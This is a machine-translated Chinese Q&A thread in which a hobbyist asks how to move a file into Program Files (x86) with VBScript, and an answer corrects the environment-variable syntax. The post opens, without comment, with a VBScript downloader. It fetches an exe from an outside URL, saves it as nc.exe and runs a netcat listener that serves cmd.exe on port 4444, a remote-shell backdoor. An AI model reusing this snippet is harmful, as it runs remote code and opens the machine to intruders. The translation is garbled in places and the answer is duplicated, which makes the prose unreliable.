请保留所有答复。刚刚发现了一些东西。
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
因此,我的许多vb行及其将打开(或不打开)的字符串当前都有一个vbs,该vbs打开一个url以下载内容并说明保存位置,然后从下载文件夹移至程序(x86),但似乎我找到了一些可以将文件下载到(x86)的文件。我将看到下载到特殊文件夹所需的内容。
我知道我的下一个挣扎将是让vbs等待。
在剂量中
start/wait drive:\path\file.exe
等待安装完成,然后再继续执行下一个任务。
Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
让我创建了许多vbs文件以便按顺序运行,但尚未测试。因此,我不知道每个人是否都将等到程序完成安装,或者是否需要创建一个循环来查看exe是否仍在运行。
我确实有一个“ learning vbs”文件夹,其中包含要修改的示例。在学习和测试的过程中,我正在不断扩展。
由于错误,我无法将文件从桌面移动到程序文件(X86)
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
错误失配文件
如果我删除目标位置的程序文件(x86)周围的“”,
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
我被弹出)错误。我想念什么?
编辑:来自下面的回复
正如已经指出的那样,程序文件(x86)= ...是无效的语法。变量名称不能包含空格,并且仅在声明数组变量时才允许使用括号。另外,SpecialFolders集合没有成员“ Program Files(x86)”。
展开相应的环境变量:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
此外,您的命令尝试移动文件夹“要移动的文件”的内容。那是故意的吗?如果要移动文件“文件移动”,则必须将最后一条语句更改为fso.MoveFile src,dst和“ \”。
Also, your command tries to move the content of the folder "file to move"
我的评论:
否,“不确定要移动的文件”是“不确定我是否应包括扩展名”是文件名(即myfile.extension),而不是要移动的“文件夹”文件。该文件夹为“桌面”
desktop = sh.SpecialFolders("Desktop")
和
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
我可以放
source = fso.BuildPath(desktop, "file to move.extension")
我不是要找人为我编写代码。我之前曾尝试在vbs中的dos(即%userprofile%)中运行的%path%东西,并被卡住,以便查看
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
让我挠头。即使使用expand命令。
进行一些测试。将进行更新编辑。抱歉迟了回应。周末的爱好项目。
答案 0 :(得分:1)
正如已经指出的那样,Program Files (x86) = ...
是无效的语法。变量名称不能包含空格,并且仅在声明数组变量时才允许使用括号。另外,SpecialFolders
collection没有成员"Program Files (x86)"
。
展开相应的环境变量:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
此外,您的命令尝试移动文件夹“要移动的文件”的内容。那是故意的吗?如果要移动文件“要移动的文件”,则必须将最后一条语句更改为fso.MoveFile src, dst & "\"
。